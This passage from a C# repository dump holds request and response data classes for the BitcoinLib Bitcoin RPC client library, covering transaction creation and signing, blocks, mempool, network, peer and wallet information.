decimal Amount { get; set; } 10 | } 11 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Requests/CreateRawTransaction/CreateRawTransactionRequest.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using System.Collections.Generic; 5 | using System.Linq; 6 | 7 | namespace BitcoinLib.Requests.CreateRawTransaction 8 | { 9 | public class CreateRawTransactionRequest 10 | { 11 | public CreateRawTransactionRequest() 12 | { 13 | Inputs = new List(); 14 | Outputs = new Dictionary(); 15 | } 16 | 17 | public CreateRawTransactionRequest(IList inputs, IDictionary outputs) : this() 18 | { 19 | Inputs = inputs; 20 | Outputs = outputs; 21 | } 22 | 23 | public IList Inputs { get; } 24 | public IDictionary Outputs { get; } 25 | 26 | public void AddInput(CreateRawTransactionInput input) 27 | { 28 | Inputs.Add(input); 29 | } 30 | 31 | public void AddOutput(CreateRawTransactionOutput output) 32 | { 33 | Outputs.Add(output.Address, output.Amount); 34 | } 35 | 36 | public void AddInput(string txId, int vout) 37 | { 38 | Inputs.Add(new CreateRawTransactionInput 39 | { 40 | TxId = txId, 41 | Vout = vout 42 | }); 43 | } 44 | 45 | public void AddOutput(string address, decimal amount) 46 | { 47 | Outputs.Add(address, amount); 48 | } 49 | 50 | public bool RemoveInput(CreateRawTransactionInput input) 51 | { 52 | return Inputs.Contains(input) && Inputs.Remove(input); 53 | } 54 | 55 | public bool RemoveOutput(CreateRawTransactionOutput output) 56 | { 57 | return RemoveOutput(output.Address, output.Amount); 58 | } 59 | 60 | public bool RemoveInput(string txId, int vout) 61 | { 62 | var input = Inputs.FirstOrDefault(x => x.TxId == txId && x.Vout == vout); 63 | return input != null && Inputs.Remove(input); 64 | } 65 | 66 | public bool RemoveOutput(string address, decimal amount) 67 | { 68 | var outputToBeRemoved = new KeyValuePair(address, amount); 69 | return Outputs.Contains>(outputToBeRemoved) && Outputs.Remove(outputToBeRemoved); 70 | } 71 | } 72 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Requests/SignRawTransaction/SigHashType.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | namespace BitcoinLib.Requests.SignRawTransaction 5 | { 6 | public static class SigHashType 7 | { 8 | public const string All = "ALL"; 9 | public const string None = "NONE"; 10 | public const string Single = "SINGLE"; 11 | public const string AllAnyoneCanPay = "ALL|ANYONECANPAY"; 12 | public const string NoneAnyoneCanPay = "NONE|ANYONECANPAY"; 13 | public const string SingleAnyoneCanPay = "SINGLE|ANYONECANPAY"; 14 | public const string AllForkId = "ALL|FORKID"; 15 | public const string NoneForkId = "NONE|FORKID"; 16 | public const string SingleForkId = "SINGLE|FORKID"; 17 | public const string ALlForkIdAnyoneCanPay = "ALL|FORKID|ANYONECANPAY"; 18 | public const string NoneForkIdAnyoneCanPay = "NONE|FORKID|ANYONECANPAY"; 19 | public const string SingleForkIdAnyoneCanPay = "SINGLE|FORKID|ANYONECANPAY"; 20 | } 21 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Requests/SignRawTransaction/SignRawTransactionInput.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using Newtonsoft.Json; 5 | 6 | namespace BitcoinLib.Requests.SignRawTransaction 7 | { 8 | public class SignRawTransactionInput 9 | { 10 | [JsonProperty(PropertyName = "txid", Order = 0)] 11 | public string TxId { get; set; } 12 | 13 | [JsonProperty(PropertyName = "vout", Order = 1)] 14 | public int Vout { get; set; } 15 | 16 | [JsonProperty(PropertyName = "scriptPubKey", Order = 2)] 17 | public string ScriptPubKey { get; set; } 18 | 19 | [JsonProperty(PropertyName = "redeemScript", Order = 3)] 20 | public string RedeemScript { get; set; } 21 | } 22 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Requests/SignRawTransaction/SignRawTransactionRequest.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using System.Collections.Generic; 5 | 6 | namespace BitcoinLib.Requests.SignRawTransaction 7 | { 8 | public class SignRawTransactionRequest 9 | { 10 | public SignRawTransactionRequest(string rawTransactionHex, string sigHashType = "ALL") 11 | { 12 | RawTransactionHex = rawTransactionHex; 13 | Inputs = new List(); 14 | PrivateKeys = new List(); 15 | SigHashType = sigHashType; 16 | } 17 | 18 | public string RawTransactionHex { get; set; } 19 | public List Inputs { get; set; } 20 | public List PrivateKeys { get; set; } 21 | public string SigHashType { get; set; } 22 | 23 | public void AddInput(string txId, int vout, string scriptPubKey, string redeemScript) 24 | { 25 | Inputs.Add(new SignRawTransactionInput 26 | { 27 | TxId = txId, 28 | Vout = vout, 29 | ScriptPubKey = scriptPubKey, 30 | RedeemScript = redeemScript 31 | }); 32 | } 33 | 34 | public void AddInput(SignRawTransactionInput signRawTransactionInput) 35 | { 36 | Inputs.Add(signRawTransactionInput); 37 | } 38 | 39 | public void AddKey(string privateKey) 40 | { 41 | PrivateKeys.Add(privateKey); 42 | } 43 | } 44 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Requests/SignRawTransaction/SignRawTransactionWithKeyInput.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using Newtonsoft.Json; 5 | 6 | namespace BitcoinLib.Requests.SignRawTransaction 7 | { 8 | public class SignRawTransactionWithKeyInput 9 | { 10 | [JsonProperty(PropertyName = "txid", Order = 0)] 11 | public string TxId { get; set; } 12 | 13 | [JsonProperty(PropertyName = "vout", Order = 1)] 14 | public int Vout { get; set; } 15 | 16 | [JsonProperty(PropertyName = "scriptPubKey", Order = 2)] 17 | public string ScriptPubKey { get; set; } 18 | 19 | [JsonProperty(PropertyName = "redeemScript", Order = 3)] 20 | public string RedeemScript { get; set; } 21 | } 22 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Requests/SignRawTransaction/SignRawTransactionWithKeyRequest.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using System.Collections.Generic; 5 | 6 | namespace BitcoinLib.Requests.SignRawTransaction 7 | { 8 | public class SignRawTransactionWithKeyRequest 9 | { 10 | public SignRawTransactionWithKeyRequest(string rawTransactionHex, string sigHashType = "ALL") 11 | { 12 | RawTransactionHex = rawTransactionHex; 13 | PrivateKeys = new List(); 14 | Inputs = new List(); 15 | SigHashType = sigHashType; 16 | } 17 | 18 | public string RawTransactionHex { get; set; } 19 | public List PrivateKeys { get; set; } 20 | public List Inputs { get; set; } 21 | public string SigHashType { get; set; } 22 | 23 | public void AddKey(string privateKey) 24 | { 25 | PrivateKeys.Add(privateKey); 26 | } 27 | 28 | public void AddInput(string txId, int vout, string scriptPubKey, string redeemScript) 29 | { 30 | Inputs.Add(new SignRawTransactionWithKeyInput 31 | { 32 | TxId = txId, 33 | Vout = vout, 34 | ScriptPubKey = scriptPubKey, 35 | RedeemScript = redeemScript 36 | }); 37 | } 38 | 39 | public void AddInput(SignRawTransactionWithKeyInput input) 40 | { 41 | Inputs.Add(input); 42 | } 43 | } 44 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Requests/SignRawTransaction/SignRawTransactionWithWalletInput.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using Newtonsoft.Json; 5 | 6 | namespace BitcoinLib.Requests.SignRawTransaction 7 | { 8 | public class SignRawTransactionWithWalletInput 9 | { 10 | [JsonProperty(PropertyName = "txid", Order = 0)] 11 | public string TxId { get; set; } 12 | 13 | [JsonProperty(PropertyName = "vout", Order = 1)] 14 | public int Vout { get; set; } 15 | 16 | [JsonProperty(PropertyName = "scriptPubKey", Order = 2)] 17 | public string ScriptPubKey { get; set; } 18 | 19 | [JsonProperty(PropertyName = "redeemScript", Order = 3)] 20 | public string RedeemScript { get; set; } 21 | } 22 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Requests/SignRawTransaction/SignRawTransactionWithWalletRequest.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using System.Collections.Generic; 5 | 6 | namespace BitcoinLib.Requests.SignRawTransaction 7 | { 8 | public class SignRawTransactionWithWalletRequest 9 | { 10 | public SignRawTransactionWithWalletRequest(string rawTransactionHex, string sigHashType = "ALL") 11 | { 12 | RawTransactionHex = rawTransactionHex; 13 | Inputs = new List(); 14 | SigHashType = sigHashType; 15 | } 16 | 17 | public string RawTransactionHex { get; set; } 18 | public List Inputs { get; set; } 19 | public string SigHashType { get; set; } 20 | 21 | public void AddInput(string txId, int vout, string scriptPubKey, string redeemScript) 22 | { 23 | Inputs.Add(new SignRawTransactionWithWalletInput 24 | { 25 | TxId = txId, 26 | Vout = vout, 27 | ScriptPubKey = scriptPubKey, 28 | RedeemScript = redeemScript 29 | }); 30 | } 31 | 32 | public void AddInput(SignRawTransactionWithWalletInput input) 33 | { 34 | Inputs.Add(input); 35 | } 36 | } 37 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Responses/Bridges/ITransactionResponse.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | namespace BitcoinLib.Responses.Bridges 5 | { 6 | // Note: This serves as a common interface for the cases that a strongly-typed response is required while it is not yet clear whether the transaction in question is in-wallet or not 7 | // A practical example is the bridging of GetTransaction(), DecodeRawTransaction() and GetRawTransaction() 8 | public interface ITransactionResponse 9 | { 10 | string TxId { get; set; } 11 | } 12 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Responses/CreateMultiSigResponse.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | namespace BitcoinLib.Responses 5 | { 6 | public class CreateMultiSigResponse 7 | { 8 | public string Address { get; set; } 9 | public string RedeemScript { get; set; } 10 | } 11 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Responses/DecodeRawTransactionResponse.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using System.Collections.Generic; 5 | using BitcoinLib.Responses.Bridges; 6 | using BitcoinLib.Responses.SharedComponents; 7 | 8 | namespace BitcoinLib.Responses 9 | { 10 | public class DecodeRawTransactionResponse : ITransactionResponse 11 | { 12 | public string Version { get; set; } 13 | public string LockTime { get; set; } 14 | public List Vin { get; set; } 15 | public List Vout { get; set; } 16 | public string TxId { get; set; } 17 | } 18 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Responses/DecodeScriptResponse.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | namespace BitcoinLib.Responses 5 | { 6 | public class DecodeScriptResponse 7 | { 8 | public string Asm { get; set; } 9 | public string P2SH { get; set; } 10 | public string Type { get; set; } 11 | } 12 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Responses/EstimateSmartFeeResponse.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | 3 | namespace BitcoinLib.Responses 4 | { 5 | public class EstimateSmartFeeResponse 6 | { 7 | public decimal? FeeRate { get; set; } 8 | public uint? Blocks { get; set; } 9 | public IList Errors { get; set; } 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /src/BitcoinLib/Responses/GetAddedNodeInfoResponse.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using System.Collections.Generic; 5 | 6 | namespace BitcoinLib.Responses 7 | { 8 | public class GetAddedNodeInfoResponse 9 | { 10 | public string AddedNode { get; set; } 11 | public bool Connected { get; set; } 12 | public List Addresses { get; set; } 13 | } 14 | 15 | public class NodeAddress 16 | { 17 | public string Address { get; set; } 18 | public bool Connected { get; set; } 19 | } 20 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Responses/GetAddressInfoResponse.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | 3 | namespace BitcoinLib.Responses 4 | { 5 | public class GetAddressInfoResponse 6 | { 7 | public string Address { get; set; } 8 | public string ScriptPubKey { get; set; } 9 | public bool IsMine { get; set; } 10 | public bool IsWatchOnly { get; set; } 11 | public bool IsScript { get; set; } 12 | public bool IsWitness { get; set; } 13 | public List Labels { get; set; } 14 | } 15 | 16 | public class LabelDetails 17 | { 18 | public string Name { get; set; } 19 | public string Purpose { get; set; } 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /src/BitcoinLib/Responses/GetAddressesByLabelResponse.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace BitcoinLib.Responses 7 | { 8 | public class GetAddressesByLabelResponse 9 | { 10 | public string Purpose; 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /src/BitcoinLib/Responses/GetBlockResponse.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using BitcoinLib.Responses.SharedComponents; 5 | using System.Collections.Generic; 6 | 7 | namespace BitcoinLib.Responses 8 | { 9 | public abstract class GetBlockResponseBase 10 | { 11 | public string Hash { get; set; } 12 | public int Confirmations { get; set; } 13 | public int Size { get; set; } 14 | public int Height { get; set; } 15 | public int Weight { get; set; } 16 | public int Version { get; set; } 17 | public string MerkleRoot { get; set; } 18 | public double Difficulty { get; set; } 19 | public string ChainWork { get; set; } 20 | public string PreviousBlockHash { get; set; } 21 | public string NextBlockHash { get; set; } 22 | public string Bits { get; set; } 23 | public int Time { get; set; } 24 | public int MedianTime { get; set; } 25 | public string Nonce { get; set; } 26 | } 27 | 28 | public class GetBlockResponse : GetBlockResponseBase 29 | { 30 | public GetBlockResponse() 31 | { 32 | Tx = new List(); 33 | } 34 | 35 | public List Tx { get; set; } 36 | } 37 | 38 | public class GetBlockResponseVerbose : GetBlockResponseBase 39 | { 40 | public GetBlockResponseVerbose() 41 | { 42 | Tx = new List(); 43 | } 44 | 45 | public List Tx { get; set; } 46 | } 47 | 48 | public class IncludedTransaction 49 | { 50 | public string Hex { get; set; } 51 | public long Version { get; set; } 52 | public uint LockTime { get; set; } 53 | public List Vin { get; set; } 54 | public List Vout { get; set; } 55 | public string TxId { get; set; } 56 | public int Size { get; set; } 57 | public int VSize { get; set; } 58 | public int Weight { get; set; } 59 | } 60 | 61 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Responses/GetBlockTemplateResponse.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using System.Collections.Generic; 5 | 6 | namespace BitcoinLib.Responses 7 | { 8 | public class GetBlockTemplateResponse 9 | { 10 | public int Version { get; set; } 11 | public string PreviousBlockHash { get; set; } 12 | public List Transactions { get; set; } 13 | public GetBlockTemplateCoinbaseAux CoinbaseAux { get; set; } 14 | public long CoinbaseValue { get; set; } 15 | public string Target { get; set; } 16 | public int MinTime { get; set; } 17 | public List Mutable { get; set; } 18 | public string NonceRange { get; set; } 19 | public int SigopLimit { get; set; } 20 | public int SizeLimit { get; set; } 21 | public uint CurTime { get; set; } 22 | public string Bits { get; set; } 23 | public int Height { get; set; } 24 | } 25 | 26 | public class GetBlockTemplateCoinbaseAux 27 | { 28 | public string Flags { get; set; } 29 | } 30 | 31 | public class GetBlockTemplateTransaction 32 | { 33 | public string Data { get; set; } 34 | public string Hash { get; set; } 35 | public string TxId { get; set; } 36 | public List Depends { get; set; } 37 | public int Fee { get; set; } 38 | public int Sigops { get; set; } 39 | } 40 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Responses/GetBlockchainInfoResponse.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | namespace BitcoinLib.Responses 5 | { 6 | public class GetBlockchainInfoResponse 7 | { 8 | public string Chain { get; set; } 9 | public ulong Blocks { get; set; } 10 | public ulong Headers { get; set; } 11 | public string BestBlockHash { get; set; } 12 | public double Difficulty { get; set; } 13 | public double VerificationProgress { get; set; } 14 | public string ChainWork { get; set; } 15 | public bool Pruned { get; set; } 16 | } 17 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Responses/GetChainTipsResponse.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | namespace BitcoinLib.Responses 5 | { 6 | public class GetChainTipsResponse 7 | { 8 | public uint Height { get; set; } 9 | public string Hash { get; set; } 10 | public int BranchLen { get; set; } 11 | public string Status { get; set; } 12 | } 13 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Responses/GetFundRawTransactionResponse.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | 5 | namespace BitcoinLib.Responses 6 | { 7 | public class GetFundRawTransactionResponse 8 | { 9 | public string Hex { get; set; } 10 | public decimal Fee { get; set; } 11 | public int ChangePos { get; set; } 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /src/BitcoinLib/Responses/GetInfoResponse.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using Newtonsoft.Json; 5 | 6 | namespace BitcoinLib.Responses 7 | { 8 | public class GetInfoResponse 9 | { 10 | public string Version { get; set; } 11 | public string ProtocolVersion { get; set; } 12 | public string WalletVersion { get; set; } 13 | public decimal Balance { get; set; } 14 | public double Blocks { get; set; } 15 | public double TimeOffset { get; set; } 16 | public double Connections { get; set; } 17 | public string Proxy { get; set; } 18 | public double Difficulty { get; set; } 19 | public bool Testnet { get; set; } 20 | public double KeyPoolEldest { get; set; } 21 | public double KeyPoolSize { get; set; } 22 | 23 | [JsonProperty("unlocked_until")] 24 | public ulong UnlockedUntil { get; set; } 25 | 26 | public decimal PayTxFee { get; set; } 27 | public decimal RelayTxFee { get; set; } 28 | public string Errors { get; set; } 29 | } 30 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Responses/GetMemPoolInfoResponse.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | namespace BitcoinLib.Responses 5 | { 6 | public class GetMemPoolInfoResponse 7 | { 8 | public uint Size { get; set; } 9 | public ulong Bytes { get; set; } 10 | } 11 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Responses/GetMiningInfoResponse.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | namespace BitcoinLib.Responses 5 | { 6 | public class GetMiningInfoResponse 7 | { 8 | public int Blocks { get; set; } 9 | public int CurrentBockSize { get; set; } 10 | public int CurrentBlockTx { get; set; } 11 | public double Difficulty { get; set; } 12 | public string Errors { get; set; } 13 | public int GenProcLimit { get; set; } 14 | public double NetworkHashPS { get; set; } 15 | public int PooledTx { get; set; } 16 | public bool Testnet { get; set; } 17 | public string Chain { get; set; } 18 | public bool Generate { get; set; } 19 | public double HashesPerSec { get; set; } 20 | } 21 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Responses/GetNetTotalsResponse.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | namespace BitcoinLib.Responses 5 | { 6 | public class GetNetTotalsResponse 7 | { 8 | public ulong TotalBytesRecv { get; set; } 9 | public ulong TotalBytesSent { get; set; } 10 | public ulong TimeMillis { get; set; } 11 | } 12 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Responses/GetNetworkInfoResponse.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using System.Collections.Generic; 5 | 6 | namespace BitcoinLib.Responses 7 | { 8 | public class GetNetworkInfoResponse 9 | { 10 | public uint Version { get; set; } 11 | public string Subversion { get; set; } 12 | public uint ProtocolVersion { get; set; } 13 | public string LocalServices { get; set; } 14 | public int TimeOffset { get; set; } 15 | public uint Connections { get; set; } 16 | public IList Networks { get; set; } 17 | public decimal RelayFee { get; set; } 18 | public IList LocalAddresses { get; set; } 19 | } 20 | 21 | public class LocalAddress 22 | { 23 | public string Address { get; set; } 24 | public ushort Port { get; set; } 25 | public int Score { get; set; } 26 | } 27 | 28 | public class Network 29 | { 30 | public string Name { get; set; } 31 | public bool Limited { get; set; } 32 | public bool Reachable { get; set; } 33 | public string Proxy { get; set; } 34 | } 35 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Responses/GetPeerInfoResponse.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using System.Collections.Generic; 5 | using Newtonsoft.Json; 6 | 7 | namespace BitcoinLib.Responses 8 | { 9 | public class GetPeerInfoResponse 10 | { 11 | public uint Id { get; set; } 12 | public string Addr { get; set; } 13 | public string AddrLocal { get; set; } 14 | public string Services { get; set; } 15 | public int LastSend { get; set; } 16 | public int LastRecv { get; set; } 17 | public int BytesSent { get; set; } 18 | public int BytesRecv { get; set; } 19 | public int ConnTime { get; set; } 20 | public double PingTime { get; set; } 21 | public double Version { get; set; } 22 | public string SubVer { get; set; } 23 | public bool Inbound { get; set; } 24 | public int StartingHeight { get; set; } 25 | public int BanScore { get; set; } 26 | 27 | [JsonProperty("synced_headers")] 28 | public int SyncedHeaders { get; set; } 29 | 30 | [JsonProperty("synced_blocks")] 31 | public int SyncedBlocks { get; set; } 32 | 33 | public IList InFlight { get; set; } 34 | public bool WhiteListed { get; set; } 35 | } 36 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Responses/GetRawMemPoolResponse.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using System.Collections.Generic; 5 | 6 | namespace BitcoinLib.Responses 7 | { 8 | public class GetRawMemPoolResponse 9 | { 10 | public GetRawMemPoolResponse() 11 | { 12 | TxIds = new List(); 13 | VerboseResponses = new List(); 14 | } 15 | 16 | public IList TxIds { get; set; } 17 | public bool IsVerbose { get; set; } 18 | public IList VerboseResponses { get; set; } 19 | } 20 | 21 | public class GetRawMemPoolVerboseResponse 22 | { 23 | public GetRawMemPoolVerboseResponse() 24 | { 25 | Depends = new List(); 26 | } 27 | 28 | public string TxId { get; set; } 29 | public int? Size { get; set; } 30 | public decimal? Fee { get; set; } 31 | public int? Time { get; set; } 32 | public int? Height { get; set; } 33 | public double? StartingPriority { get; set; } 34 | public double? CurrentPriority { get; set; } 35 | public IList Depends { get; set; } 36 | } 37 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Responses/GetRawTransactionResponse.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using System.Collections.Generic; 5 | using BitcoinLib.Responses.Bridges; 6 | using BitcoinLib.Responses.SharedComponents; 7 | 8 | namespace BitcoinLib.Responses 9 | { 10 | public class GetRawTransactionResponse : ITransactionResponse 11 | { 12 | public string Hex { get; set; } 13 | public long Version { get; set; } 14 | public uint LockTime { get; set; } 15 | public List Vin { get; set; } 16 | public List Vout { get; set; } 17 | public string BlockHash { get; set; } 18 | public int Confirmations { get; set; } 19 | public uint Time { get; set; } 20 | public uint BlockTime { get; set; } 21 | public string TxId { get; set; } 22 | } 23 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Responses/GetTransactionResponse.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using System.Collections.Generic; 5 | using BitcoinLib.Responses.Bridges; 6 | 7 | namespace BitcoinLib.Responses 8 | { 9 | // Note: Local wallet transactions only 10 | public class GetTransactionResponse : ITransactionResponse 11 | { 12 | public decimal Amount { get; set; } 13 | public decimal Fee { get; set; } 14 | public string BlockHash { get; set; } 15 | public int BlockIndex { get; set; } 16 | public int BlockTime { get; set; } 17 | public int Confirmations { get; set; } 18 | public List Details { get; set; } 19 | public string Hex { get; set; } 20 | public int Time { get; set; } 21 | public int TimeReceived { get; set; } 22 | public List WalletConflicts { get; set; } 23 | public string TxId { get; set; } 24 | } 25 | 26 | public class GetTransactionResponseDetails 27 | { 28 | public string Account { get; set; } 29 | public string Address { get; set; } 30 | public decimal Amount { get; set; } 31 | public string Label { get; set; } 32 | public decimal Fee { get; set; } 33 | public int Vout { get; set; } 34 | public string Category { get; set; } 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /src/BitcoinLib/Responses/GetTxOutSetInfoResponse.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | namespace BitcoinLib.Responses 5 | { 6 | public class GetTxOutSetInfoResponse 7 | { 8 | public int Height { get; set; } 9 | public string BestBlock { get; set; } 10 | public int Transactions { get; set; } 11 | public int TxOuts { get; set; } 12 | public int BytesSerialized { get; set; } 13 | public string HashSerialized { get; set; } 14 | public double TotalAmount { get; set; } 15 | } 16 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Responses/GetWalletInfoResponse.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using Newtonsoft.Json; 5 | 6 | namespace BitcoinLib.Responses 7 | { 8 | public class GetWalletInfoResponse 9 | { 10 | public string WalletVersion { get; set; } 11 | public decimal Balance { get; set; } 12 | 13 | [JsonProperty("unconfirmed_balance")] 14 | public decimal UnconfirmedBalance { get; set; } 15 | 16 | [JsonProperty("immature_balance")] 17 | public decimal ImmatureBalance { get; set; } 18 | 19 | public ulong TxCount { get; set; } 20 | public double KeyPoolOldest { get; set; } 21 | 22 | [JsonProperty("unlocked_until")] 23 | public ulong UnlockedUntil { get; set; } 24 | 25 | public ulong KeyPoolSize { get; set; } 26 | } 27 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Responses/ListAddressGroupingsResponse.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | namespace BitcoinLib.Responses 5 | { 6 | public class ListAddressGroupingsResponse 7 | { 8 | public string Address { get; set; } 9 | public decimal Balance { get; set; } 10 | public string Account { get; set; } 11 | } 12 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Responses/ListReceivedByAccountResponse.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | namespace BitcoinLib.Responses 5 | { 6 | public class ListReceivedByAccountResponse 7 | { 8 | public string Account { get; set; } 9 | public double Amount { get; set; } 10 | public int Confirmations { get; set; } 11 | public string Label { get; set; } 12 | } 13 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Responses/ListReceivedByAddressResponse.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using System.Collections.Generic; 5 | 6 | namespace BitcoinLib.Responses 7 | { 8 | public class ListReceivedByAddressResponse 9 | { 10 | public string Account { get; set; } 11 | public string Address { get; set; } 12 | public decimal Amount { get; set; } 13 | public int Confirmations { get; set; } 14 | public List TxIds { get; set; } 15 | } 16 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Responses/ListReceivedByLabelResponse.cs: -------------------------------------------------------------------------------- 1 | namespace BitcoinLib.Responses 2 | { 3 | public class ListReceivedByLabelResponse 4 | { 5 | public string Account { get; set; } 6 | public double Amount { get; set; } 7 | public int Confirmations { get; set; } 8 | public bool? InvolvesWatchOnly { get; set; } 9 | public string Label { get; set; } 10 | } 11 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Responses/ListSinceBlockResponse.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using System.Collections.Generic; 5 | 6 | namespace BitcoinLib.Responses 7 | { 8 | public class ListSinceBlockResponse 9 | { 10 | public List Transactions { get; set; } 11 | public string Lastblock { get; set; } 12 | } 13 | 14 | public class TransactionSinceBlock 15 | { 16 | public string Account { get; set; } 17 | public string Address { get; set; } 18 | public string Category { get; set; } 19 | public decimal Amount { get; set; } 20 | public int Vout { get; set; } 21 | public decimal Fee { get; set; } 22 | public int Confirmations { get; set; } 23 | public string BlockHash { get; set; } 24 | public long BlockIndex { get; set; } 25 | public int BlockTime { get; set; } 26 | public string TxId { get; 